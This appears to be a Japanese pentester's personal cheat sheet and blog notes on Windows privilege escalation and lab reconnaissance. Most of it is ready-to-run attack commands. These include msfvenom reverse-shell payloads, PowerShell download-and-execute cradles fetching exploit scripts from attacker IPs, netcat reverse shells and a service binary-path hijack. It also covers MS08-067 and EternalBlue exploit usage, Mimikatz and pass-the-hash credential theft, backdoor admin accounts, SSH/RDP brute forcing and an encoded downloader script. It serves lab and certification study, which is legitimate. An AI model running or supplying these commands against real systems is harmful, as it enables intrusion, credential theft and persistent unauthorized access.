MSI,VBSで作成したペイロードはエラーで実行ができなかった。
msfvenom -p windows/shell/reverse_tcp LPORT=8888 LHOST=10.11.0.112 -f exe > reverse-8888-staged.exe

以下の参考文献では、-f exe-serviceとしてペイロードを作成していたが、そうするとnet start upnphostの時に、

C:\WINDOWS\system32>net start upnphost
net start upnphost
System error 1083 has occurred.

The executable program that this service is configured to run in does not implement the service.

となってエラーで実行できなかった。(???)
LPEWalkthrough/Walkthrough.md at master · J3rryBl4nks/LPEWalkthrough · GitHub

sc config upnphost binpath= "C:\Documents and Settings\All Users\Documents\reverse-4445.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost

でサービスを起動すると、Reverse shellがMeterpreter上で得られるが、数十秒で接続が切れてしまう。
そのため、
migrate PID
などで安定したSYSTEMプロセスに移動する必要がある。VMTools,logon.scr,winlogonなどで行けた。
srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c c:\Inetpub\wwwroot\shell.exe"
github.com

IKEEXT DLLHijack

Windows Vista / 7/8ならIKEEXTなどの存在しないDLLを読み込もうとする脆弱性の可能性

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/Ikeext-Privesc.ps1'));Invoke-IkeextCheck -Verbose "

以下に詳しい手順とPSのExploit Codeがある
https://github.com/itm4n/Ikeext-Privescgithub.com

Hot potato

ホットポテトは、NBNSおよびWPADのローカルスプーフィングに対処する脆弱性
WPAD用のローカルスプーファーをセットアップし、Defenderに更新を確認するように依頼して脆弱性をトリガーする。
DefenderはNT \ SYSTEMとして実行されているため、ハッシュを取得して独自のSMBサーバーに中継できる。
これをローカルSMBサーバーに中継したら、コマンドを実行できる
Windows 7/ 8/10/ Server 2008/ Server 2012なら脆弱である可能性
以下のPowershellのExploit Codeが使える
詳しい判断基準は不明

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/exploit/windows/Tater.ps1')); Invoke-Tater -Command 'net localgroup administrators jill /add' -exhaustudp Y"

github.com
おそらく以下の状態になれば失敗(????)
時間がかかるという文献もあるので待てばよい?

2020-03-02T01:26:59 - Tater (Hot Potato Privilege Escalation) started
Local IP Address = 10.11.1.73
Spoofing Hostname = WPAD
UDP Port Exhaustion Enabled
Windows Defender Trigger Enabled
Real Time Console Output Enabled
Run Stop-Tater to stop Tater early
Use Get-Command -Noun Tater* to show available functions
Press any key to stop real time console output

2020-03-02T01:26:59 - Waiting for incoming HTTP connection
2020-03-02T01:26:59 - Trying to exhaust UDP source ports so DNS lookups will fa
il
2020-03-02T01:27:00 - Couldn't bind to UDP port 161
2020-03-02T01:27:00 - Couldn't bind to UDP port 500
2020-03-02T01:27:02 - Couldn't bind to UDP port 3702
2020-03-02T01:27:02 - Couldn't bind to UDP port 4500
2020-03-02T01:27:02 - Couldn't bind to UDP port 5004
2020-03-02T01:27:02 - Couldn't bind to UDP port 5005
2020-03-02T01:27:03 - Couldn't bind to UDP port 5355
2020-03-02T01:27:50 - Couldn't bind to UDP port 56182
2020-03-02T01:27:54 - Couldn't bind to UDP port 60579
2020-03-02T01:27:55 - Couldn't bind to UDP port 61267
2020-03-02T01:27:58 - Couldn't bind to UDP port 64549
2020-03-02T01:27:59 - Flushing DNS resolver cache
2020-03-02T01:28:14 - DNS lookup failed so UDP exhaustion worked
2020-03-02T01:28:15 - Flushing DNS resolver cache
2020-03-02T01:28:15 - Starting NBNS spoofer to resolve WPAD to 127.0.0.1
2020-03-02T01:28:18 - WPAD has been spoofed to 127.0.0.1
2020-03-02T01:28:18 - Running Windows Defender signature update
2020-03-02T01:28:31 - HTTP request for /wpad.dat received from 127.0.0.1
2020-03-02T01:28:35 - Attempting to redirect to http://localhost:80/gethashes a
nd trigger relay
2020-03-02T01:28:35 - HTTP request for http://go.microsoft.com/fwlink/?LinkID=1
21721&clcid=0x409&arch=x86&eng=0.0.0.0&asdelta=0.0.0.0&prod=925A3ACA-C353-458A-
AC8D-A7E5EB378092 received from 127.0.0.1
2020-03-02T01:28:39 - HTTP request for /GETHASHES received from 127.0.0.1
2020-03-02T01:28:40 - HTTP to SMB relay triggered by 127.0.0.1
2020-03-02T01:28:40 - Grabbing challenge for relay from 127.0.0.1
2020-03-02T01:28:40 - Received challenge 42174A099FB0658A for relay from 127.0.
0.1
2020-03-02T01:28:40 - Providing challenge 42174A099FB0658A for relay to 127.0.0
.1
2020-03-02T01:28:41 - Sending response for \ for relay to 127.0.0.1
2020-03-02T01:28:41 - HTTP to SMB relay authentication failed for \ on 127.0.0.
1

以下原理などの参考文献
pentestlab.blog
foxglovesecurity.com

Users

  • net user,net localgroup,net localgroup "Remote Desktop Users"
    自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
    RDPできるユーザーも確認
  • LocalSystem
    administrator権限を与える。原則なんでもできる。
    アカウント名:NT AUTHORITY\System
    PEではこのlocalsystem,administrator権限を奪取することが目標となる
  • Local Service
    Usersグループのメンバと同じ権限しか持たないサービス用アカウント。
    ネットワーク・リソースへのアクセスも、特定アカウントではなく匿名の資格情報に制限される。
    デフォルトでは、ローカルとネットワークのどちらのリソースに対しても、Systemほど強力な権限を必要としないサービスで利用されている。
    アカウント名:NT AUTHORITY\LocalService

  • Network Service
    Local Serviceと同じく、Usersグループのメンバと同じ権限しか持たないサービス用アカウント。
    ただしネットワーク・リソースには、Systemと同じくローカルのコンピュータ・アカウントの資格情報でアクセスできることから、Systemほど強力な権限を必要としないネットワーク系サービスで利用されている。
    アカウント名:NT AUTHORITY\NetworkService

  • Authenticated Users
    AD(ドメイン)ならドメインにログオンできるユーザーは皆Authenticated Usersに所属
    ローカルPCの場合は、そのPCにログインできるユーザーはAuthenticated Usersに所属。
    但しGuestアカウントは認証ユーザーではないので、Authenticated Usersに所属していない。

Privileges

Juicy Potato

SeImpersonatePrivilegeまたはSeAssignPrimaryTokenPrivilegeを持っていてx64の場合、Juicy Potatoが有効
以下から64bitバイナリをダウンロード
github.com
hunter2.gitbook.io

Rotten potato

環境変数

  • Find-PathDLLHijack
    PATH変数の中に書き込み権限がある場所がないかどうか調べる
    非常に重要
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/PowerUp.ps1')); Find-PathDLLHijack "

Writable

  • file/Directry
    • icacls
      icaclsFもしくはM(?)Power UsersBUILTIN\Users,NT AUTHORITY\Authenticated Usersに与えられている場合、実行ファイルを置き換えられる。
      その実行ファイルがSYSTEMで起動するサービスと関係している場合に有効
    • autoruns
      === Modifiable Registry Autoruns ===
      HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run : C:\Program Files\Autorun Program\program.exe
      SharpUp.exeの結果で書き込み可能な場所に自動起動するプログラムがある場合有効
    • accesschk.exe -dqv "C:\Python27"
      上記でディレクトリやファイルの権限を確認
  • Service
    • sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
      RWNT AUTHORITY\Authenticated Usersなどに与えられている場合、上記でサービスのバイナリPATHを書き換えられる
      XP SP1はデフォルトでこれが可能
    • sc qc upnphost
      で確認
      scコマンドでレジストリからキーを取得する(?)。
      reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\upnphost
      でも同じことができる
    • accesschk.exe -ucqv upnphost
      でこのサービスのレジストリキーに書き込み可能かどうか確認できる
      powershell -Command "Get-Acl -Path HKLM:\System\CurrentControlSet\Services\upnphost"
      でも同じことができるが、PSv3.0以降でしか使えない
      accesschk5-2.exe -uwcqv "Authenticated Users" * /accepteula
      winXP/2003なら5-2versionを使う必要があるらしい。
    • net stop upnphost,net start upnphost,wmic service NAMEOFSERVICE call startservice
      でサービスを起動する
    • sc sdshow wampapache
      サービスに付与されている権限をDACL構文で表示
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)

例えば上記の場合、
SY(Local System),BA(Builtin Administrators)にはサービスの起動(RP)・停止(WP)権限があるが、
IU(対話型ログオン ユーザー),SU(Service Logon User)にはその権限はない。
そのためサービスの再起動ができない。
また、accesschk.exe -ucqv wampapache
でサービスに対するレジストリキーへの書き込み権限を表示する。

  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
    SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
    SERVICE_ALL_ACCESS
  R  NT AUTHORITY\INTERACTIVE
    SERVICE_QUERY_STATUS
    SERVICE_QUERY_CONFIG
    SERVICE_INTERROGATE
    SERVICE_ENUMERATE_DEPENDENTS
    SERVICE_USER_DEFINED_CONTROL
    READ_CONTROL
  R  NT AUTHORITY\SERVICE
    SERVICE_QUERY_STATUS
    SERVICE_QUERY_CONFIG
    SERVICE_INTERROGATE
    SERVICE_ENUMERATE_DEPENDENTS
    SERVICE_USER_DEFINED_CONTROL
    READ_CONTROL

この場合、一般権限のユーザーでは書き込み権限がないので起動・停止権限を付与することもできない。
DACL構文の参考文献
https://support.microsoft.com/ja-jp/help/914392/best-practices-and-guidance-for-writers-of-service-discretionary-acces

Unquoted file path

  • wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
    自動起動するサービスで、引用符に囲まれていないサービスを列挙する。
    一般にC:\Windowsには書き込み権限がないのでそこを除外している(?)
  • C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
    となっている場合、
    • C:\Program.exe
    • C:\Program Files\Unquoted.exe
    • C:\Program Files\Unquoted Path Service\Common.exe
      のように実行ファイルを設置できれば有効

      AlwaysInstallElevated

=== AlwaysInstallElevated Registry Keys ===

  HKLM:    1
  HKCU:    1

となっていると脆弱
実行する特権が自動的に昇格されるため、管理者がワークステーションにアクセスしなくても、低い特権のユーザーがインストールを実行できます。
これを悪用するには、.msiインストーラーを実行する
- msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=10.22.6.122 -f msi > Install.msi

Get System

  • Get-System.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.1/exploit/windows/Get-System.ps1')); Get-System -Technique NamedPipe"
  • Tokenvator4.5.exe GetSystem
  • incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
  • PsExec.exe -s -i cmd.exe
  • python getsystem.py

以下にMetasploitを使わずにGet-Systemが実行できるファイルがある
github.com
github.com
github.com

Credential

  • cmdkey /list
    • runas /savecred /user:WORKGROUP\Administrator "C:\User\john\evil.exe"
      保存されたクレデンシャルがある場合はそれを使って、任意のプログラムをその権限で実行できる
    • C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
      パスワードを使って実行することもできる
      PsExec -u tom -p iamtom \\TOMSCOMP C:\path\to\nc.exe IP_OF_ATTACKING_SYSTEM 8080 -e C:\windows\system32\cmd.exe
      PsExec64.exe -u "Batman" -p "Zx^#QZX+T!123" C:\Windows\System32\spool\drivers\color\reverse-arkham.exe -accepteula
      でも可能(?)
$username = 'batman'
$password = 'Zx^#QZX+T!123'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.14.8 4445 }


Powershell上で実行して、得られたクレデンシャルとして実行できる!
schtasks /Create /RU {domain name?(eg ARKHAM)}\{username} /RP "{password}" /SC MINUTE /MO 1 /TN logtracker /TR reverse-shell.exe
をcmd上で実行でもできそう?
- registry
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s
- reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
- C:\WINNT\system32\config
regコマンドが使用できないとき(win2000)。

Kernel Exploit

  • python pyinstaller.py --onefile exploit.py
    pythonで書かれたExploitをWindowsで動かすために.py.exeに変換する。
    distディレクトリにバイナリが書き込まれる
  • Compiled exe
    以下にコンパイル済みのバイナリがある
    github.com

DLL Hijack

  • 概要
    存在しないDLLを読み込もうとするようなサービスがある場合、悪意のあるDLLを設置すれば起動時にそれを読み込ませられる。
    DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
    以下の順番で読み込まれる
  • 読み込まれる順番
    • 1 The directory from which the application loaded
    • 2 32-bit System directory (C:\Windows\System32)
    • 3 16-bit System directory (C:\Windows\System)
    • 4 Windows directory (C:\Windows)
    • 5 The current working directory (CWD)
    • 6 Directories in the PATH environment variable (system then user)
  • DLL Hijackable service
    MSDTC,MSINFO,Narratorなどが可能らしい。
    以下に詳しく書いてある。
    pentestlab.blog

PowerSploit

以下にほぼすべてのモジュールの使い方が丁寧に書いてある
powersploit.readthedocs.io

File Upload

  • upx -9 nc.exe
    tftpなどではサイズの大きいファイルの送信にかなり時間がかかるのでUPXでサイズを小さくする。
  • tftp -i 10.11.0.5 get nc.exe
    atftpd --daemon --port 69 /tftp
    を実行して、/tftpにアップしたいファイルを用意することでUploadできる
    Windows XPにはデフォルトでTFTPクライアントが組み込まれているが、Windows 7には組み込まれていない。
  • powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1')"
  • meterpreter
    • upload evil_trojan.exe c:\\windows\\system32
    • download c:\\boot.ini
  • certutil.exe -urlcache -split -f http://10.11.0.11/exploit/windows/reverse-shell4445.exe reverse-shell4445.exe
  • powershell empire
    • upload /tmp/launcher.bat
  • cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
echo+strUrl+%3D+WScript.Arguments.Item%280%29+%3E+wget.vbs+%26+echo+StrFile+%3D+WScript.Arguments.Item%281%29+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DEFAULT+%3D+0+%3E%3E+wget.vbs+%26++echo+Const+HTTPREQUEST_PROXYSETTING_PRECONFIG+%3D+0+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DIRECT+%3D+1+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_PROXY+%3D+2+%3E%3E+wget.vbs+%26+echo+Dim+http%2C+varByteArray%2C+strData%2C+strBuffer%2C+lngCounter%2C+fs%2C+ts+%3E%3E+wget.vbs+%26+echo+Err.Clear+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest.5.1%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22MSXML2.ServerXMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22Microsoft.XMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+http.Open+%22GET%22%2C+strURL%2C+False+%3E%3E+wget.vbs+%26+echo+http.Send+%3E%3E+wget.vbs+%26+echo+varByteArray+%3D+http.ResponseBody+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+fs+%3D+CreateObject%28%22Scripting.FileSystemObject%22%29+%3E%3E+wget.vbs+%26+echo+Set+ts+%3D+fs.CreateTextFile%28StrFile%2C+True%29+%3E%3E+wget.vbs+%26+echo+strData+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+strBuffer+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+For+lngCounter+%3D+0+to+UBound%28varByteArray%29+%3E%3E+wget.vbs+%26+echo+ts.Write+Chr%28255+And+Ascb%28Midb%28varByteArray%2ClngCounter+%2B+1%2C+1%29%29%29+%3E%3E+wget.vbs+%26+echo+Next+%3E%3E+wget.vbs+%26+echo+ts.Close+%3E%3E+wget.vbs

Webshellが設置できると、このワンライナーwebshell.php?cmd=echo+....みたいにすることで、wget.vbsを作成する
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

echo $storageDir = $pwd >wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://[kali ip]/[file]" >>wget.ps1
echo $file = "[file]" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
  • smbserver.py a /usr/share/windows-binaries/
    Kali上でImpacketのsmbserver.pyを使用することで、445ポート上にSMBサーバーを立ち上げる。
    windowsからは\\10.10.14.25\a\whoami.exeなどでローカルにあるようにコマンドを実行できる。
    dir,copyなども可能。
    また、Windowsから接続してきた際のsmbserver.pyのログから現在のWindowsのユーザーのハッシュが取得できる可能性がある。
    blog.ropnop.com

有名なExploit

MS08-067(netapi)
  • python ms08-067-modi.py 10.10.10.1 7 445
    msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows --var-name shellcode
    でカスタムペイロードを作成して、shellcodeの中身を変更して実行。
    わかりやすい。
Usage: ms08-067-modi.py <target ip> <os #> <Port #>

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)

github.com
www.exploit-db.com
www.exploit-db.com

MS17-010(eternal blue)
  • python ms17-010-zzz.py -t 10.11.1.1 -c "net user" -u root -p root
    使用できる名前付きパイプが見つからない、みたいなエラーが発生する場合は、以下のスクリプトでusernameとPasswordを適当に設定する必要がある。
    名前付きパイプは、
    use auxiliary/scanner/smb/pipe_auditor
    で使用可能なものを列挙できる。
    /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
    に名前付きパイプのWordlistがある。
    -cで任意のコマンドをSYSTEMとして実行できる。
    github.com
  • python zzz_exploit.py -t 10.11.1.75 -u root -p root -c "cmd"
    以下のスクリプトでもコマンドを実行できたが、FirewallによってOutboundが制御されている場合は実行に失敗した。(気のせい?)
    github.com
  • python send_and_execute.py 10.11.1.1 reverse-shell.exe
    usernameやPasswordを設定しなくてもコマンドが実行できるなら、これでReverse shellを得られる。
    github.com

  • use auxiliary/admin/smb/ms17_010_command
    Metasploitでコマンドを実行できる。

  • use exploit/windows/smb/ms17_010_eternalblue
    MetasploitでReverse shellを得られる。

Abusing Token

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getprivs 

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege

Meterpreter上でload incognitoで利用・偽装可能なトークンを列挙できる。
Administratorに昇格できる場合がある。

meterpreter > load incognito 
Loading extension incognito...Success.
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
BUILTIN\Administrators
BUILTIN\Guests
BUILTIN\Performance Log Users
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NETWORK
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization

Impersonation Tokens Available
========================================
No tokens available

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

PowershellでTokenを操作できるスクリプトがあるらしい。
https://hacknpentest.com/privilege-escalation-through-token-manipulation/hacknpentest.com

Post Exploit

  • Mimikatz
    Active Directoryで管理されている組織のネットワークに所属するホストの場合は、ネットワーク管理者による管理を円滑にするために、複数の端末で共通のパスワードが設定された状態でアカウントが有効化されている場合が多い。
    よって、SYSYEMを取得したあとは、ホストに保存されているNTLMハッシュのダンプして、PassTheHashによって同じパスワードを使用している、同じネットワーク内の別のホストへと横移動できる
    Mimikatzは実行に管理者権限を必要とする
    Invoke-Mimikatz -DumpCreds,Seatbelt.exeで確認
  • Pass the Hash

    • fgdump.exe
    • wce32.exe -w
    • python psexec.py Administrator:password@10.11.1.1
      資格情報が得られた場合はImpacketのPsExecモジュールでログインできるかも。
    • python wmiexec.py -hashes :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Administrator@10.11.1.1
      hashが得られている場合はImpacketのwmiexecモジュールでPTHできるかも。
      :aaa...とすることでLMハッシュを省略。
      www.hackingarticles.in
      blog.ropnop.com
  • add backdoor

    • net user backdoor pass /add
    • net localgroup administrators backdoor /add
      todo!!
      以下を参照
      github.com

参考文献

PEの方法を非常に丁寧に書いてあってわかりやすい。
github.com
www.fuzzysecurity.com
github.com
sushant747.gitbooks.io
github.com

vulnhub 調査方針メモ

WindowsのPrivilegeEscalationと調査方針のメモです。
自分用のチートシートも兼ねているので、見にくかったり適当なのはご容赦ください。

Linux のPrivilege EscalationとInformationGatheringは以下に雑にまとめています。
7万字を超えたあたりからレスポンスが遅くなって編集しづらいので分割しました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたWindowsPEは以下を参照してください。

kakyouim.hatenablog.com

調査の順番

Information Gathering

  • scan

    • portの正確なEnum(tcp,udp)
    • 各portで動いているサービスのバージョンの特定(可能であれば)
      見たことなければ参照。あっても参照した方がいいかも。
      sushant747.gitbooks.io
    • Webserverのバージョン特定
    • Web Applicationの特定
      • 使われているCMSのバージョンの特定
      • windowsならwamp,xwampの特定
      • PHPのバージョンなどの特定
      • LinkされていないURLの特定
      • databaseのバージョンの特定

    • python3 autorecon.py 192.168.56.5
      とりあえずAutoReconを実行しておく
      ただしnmapやniktoを使うので出力に時間がかかる
      AutoReconUDPスキャンも確認する
      _quick_tcp_nmap.txtがhost downになっていると失敗しているので、AutoReconを再度やり直す。
      nmap -vv --reason -Pn -sV -sC --version-all 10.11.1.1を実行している。(1000portをdefault categoryでScan)
    • bash onetwopunch.sh -t target.txt -p tcp -i tap0
      nmapに比べて圧倒的に早い
    • bash onetwopunch.sh -t target.txt -p udp -i tap0
      UDPでも行う
    • nmap 192.168.56.5 --top-ports 10 -open
      情報は少ないが、一瞬で列挙できる.
      ftp, ssh, telnet, smtp, http, POP3, netbios-ssn, https, microsoft-ds, ms-wbt-server
      を確認。
      nmap 192.168.56.5 --top-ports 100 -open
      も実行。
      nmap -p- -sV -sT -A 192.168.56.13
      -p-をすると時間がかかるが、AutoReconで漏れがあることが稀にあるので実行しておく。
      ポートスキャンでは絶対にEnum漏れはダメなのでnmap以外でも試したり、二重に確認する
    • nikto -h 192.168.56.5
      時間がかかるためとりあえず早めに実行しておく
    • gobuster -u http://192.168.56.5/ -w /usr/share/dirb/wordlists/big.txt -s '200,204,301,302,307,403,500' -e
      dirbwfuzzよりも速い
      ディレクトリが見つかれば再度その中でgobuster
      -kオプションでhttpsinvalid certificateのerrorを回避。
    • curl -v 192.168.56.5
      ヘッダの情報などを確認
    • curl 192.168.56.5 -s -L | html2text
      レンダリング
    • enum4linux -a 10.11.1.1
      AutoReconでも実行するが出力内容が違うことがある(??)ので手動でも実行。
      Sambaのバージョンが特定できていない場合はsmbver.shuse auxiliary/scanner/smb/smb_versionを使用。
      bash smbver.sh 10.11.1.1 139
    • python3 parsero.py -u 192.168.56.5
      robots.txtに書かれているDisallowの場所を調べる

  • user,password listの作成
    列挙した情報から得られたユーザー名などをメモする
    マシンのホスト名もWordlistに加える。

  • portの詳細な調査
    あやしいものなどはtodoやMemoとして追加していく
    上に行くほど優先度が高くなるように順次入れ替えなどを行う
    各ポートの詳しい調査は以下を参照。
    github.com
    • 80 port (30分)

      • Burp Spiderを使ってSpideringする。Applicationの特定につながるかも
      • Sorce codeを読んでApplicationやCMSの特定
      • AddOnやModuleの確認
      • Install.txtなどの設定やVersionが読み取れるファイルにアクセスできるか確認
      • LoginでデフォルトLogin、SQLInjetionできるか確認
      • nmap -vv --reason -Pn -sV -p 80 --script="banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" 10.11.1.0
        AutoReconが列挙漏れした場合、Nmapは手動で行わないといけない。
      • その他の挙動など
        そのほかのポートも時間を決めて調査する。Exploitはまだ探さない(すべてを列挙する必要がある)
    • 110(POP)

      • Banner の取得
        これ結構大事(な気がする)
        そのポートの挙動を大体把握する必要がある
        • telnet 192.168.56.5 110
          telnetでUSER PASSなどでログインできるのかなど
      • NSE script
      • Metasploit
      • other tools
    • **22(ssh)
      • Bannerの取得
        password認証?公開鍵認証?既知のFingerprint?
    • 139/445(smb)
      OSのバージョン、Sambaのバージョンの両方の特定
  • exploitの検索
    • Google
      大事
    • searchsploit aaaa | grep -vi 'dos' | grep -vi 'windows'
      今まで得られた情報(ポートで動いているSoftwareのバージョンなど)の中のあり得るすべてのExploitを探して、その中から明らかにExploitが存在しないものを除外していく。


Exploit

  • 目標
    • SSHのBrute forceを確認(password,pubkey)
    • FTPのBrute forceを確認
    • RDPのBrute forceを確認
    • web server loginページのBrute forceを確認
  • IGで見つけたexploitを試してみる
    優先度が高いものから順に30~90分の時間で動くかどうか確認する。
    動かす前に必ずどういうExploitか確認。
    対象のOSは?? remote/local/dos ?? unix/linux/windows ??
    自分で書いていないコードを読んでいるとき、すべての行にコメントを追加すると理解しやすい
    それっぽい脆弱性が見つかれば、nmapのScriptを使って確認するの良さそう
    Reverse shell payloadを試す前に、Payloadが実行できるのかどうかを確認する(payloadが違うのかFirewallがあるのかなどの原因を特定しやすくする)
    windows用のバイナリをクロスコンパイルするときは、
    i686-w64-mingw32-gcc test.cpp -o test.exe -lws2_32
    -lws2_32Windowsでソケット通信を行うのに必要なライブラリを指定してコンパイル
    wine test.exeで実行する。

  • wordlistの作成

  • ssh Brute force
    • hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
    • hydra -e nsr -L user -t 4 192.168.56.16 ssh
    • hydra -L user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
    • python crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
  • rdp Brute force
    • ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5

Windowsの場合

privilege escalation

Information Gathering(Enum)

  • powerless.bat
    accesschk.exeをアップロードしてから実行するとよい
  • Sherlock.ps1
  • Session Gopher.ps1
  • JAWS
  • WindowsEnum.ps1
  • PowerUp.ps1
  • beRoot
  • windows-privesc-check2.exe
  • windows-exploit-suggester.py
  • Find-PathDLLHijack.ps1
  • Seatbelt.exe
  • SharpUp.exe
  • Metasploit
    • use post/multi/recon/local_exploit_suggester
    • exploit/windows/local/service_permissions
    • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.11.0.1
set lport 4444
  • Manual
    • systeminfo
    • net user
      • net user john
    • net localgroup
      • net localgroup administrators
    • accesschk.exe -ucqv wampapache
      Serviceのレジストリキーへの権限を確認。
    • sc qc upnphost
      Serviceのレジストリキーの値を確認。
      SERVICE_START_NAMEでサービスがどの権限で起動しているかわかる(??)
    • sc sdshow wampapache
      Serviceに対する権限(WP:停止,RP:起動)を確認。
    • autorunsc.exe -a | findstr /n /R "File\ not\ found"
      自動起動するようなサービスで、その実行ファイルが存在しないようなサービスがないか確認。



      これらのツールを使ってまずは以下をざっくりと調べる
      深追いはしない。怪しければTodoに優先度順に追加していく

  • Powershellが使える場合(Windows 7 / Windows Server 2008 R2 以降)
    Empireは実行が遅いやつがあるので、あらかじめ決めておいたScriptのみ実行。あとはExeをUploadするために使う。
    certutil.exe -urlcache -split -f "http://10.11.0.11/exploit/windows/launcher.bat" launcher.bat
    でStagerをUploadして実行。
    spawn lister名
    で一つのSessionは残しておく(実行中にSessionが切れたら嫌なので)。
    upload /var/www/html/priv/windows/Accesschk/accesschk.exe
    upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
    で調査に必要なバイナリをUploadしておく。
